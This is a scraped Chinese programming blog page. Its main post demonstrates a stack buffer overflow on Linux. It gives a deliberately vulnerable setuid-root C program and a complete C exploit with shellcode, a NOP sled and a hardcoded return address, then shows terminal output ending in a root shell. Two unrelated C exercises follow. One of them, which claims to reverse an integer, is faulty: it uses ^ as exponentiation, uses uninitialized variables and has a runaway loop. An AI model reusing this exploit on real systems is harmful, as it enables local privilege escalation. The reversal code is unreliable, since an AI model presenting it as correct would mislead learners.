|
|
用户名:刘加开 笔名:刘加开 地区: 中国-河南 行业:其他 |
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
由于精力有限,此博客停止更新
喜欢Linux的可以去我的新博客:中文Linux笔记 http://linux.bokee.com
程序员的君子五德
(作者置顶)
Turbo C(V2.0)编译错误信息
溢出利用程序
溢出利用程序不仅仅是只能用c语言编写,其实几乎任何编程语言都能用来编写
溢出利用程序,这里用Linux作为试验平台,以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言(商用Unix系统中C语言例外)。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。
<一> 有溢出漏洞的vul.c
[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2月 24 10:14 vul
<二> C语言版本利用程序ex.c
[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;
for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='\0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;
}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵?胯??
buff : AA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
?胯?胯??
buff : AAAA梵?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
小语
溢出的根本在于地址定位、堆栈等数据结构的使用约定和组织、操作系统运行时结构等
了解这些知识后溢出利用本生和编程语言是没有关系的。
打印图形1、121、12321、……
打印以下图形
1
121
12321
1234321
123454321
#include"stdio.h"
void generate(char x,char y)
{
if(x==y)
{
putchar(y);
return;
}
else
{
putchar(x);
generate(x+1,y);
putchar(x);
}
}
main()
{
int i,j;
char x;
for( i=1;i<6;i++)
{
for(j=1;j<6-i;j++)
{
putchar(' ');
}
x='0'+i;
generate('1',x);
putchar('\n');
}
}
已上程序是从网友al所提供的程序中修改而来的 !
输入任意一个整数,将其倒序输出
main()
{
int a,b,c,i,s;
scanf("%d",&a);
c=a;
while(c>0)
{
c=c/10;
b++;
}
for(i=b;i>1;i++)
{
c=a/10^b;
a=a-c*10^b;
s=s+10^(b+1-i);
}
printf("%d",s);
}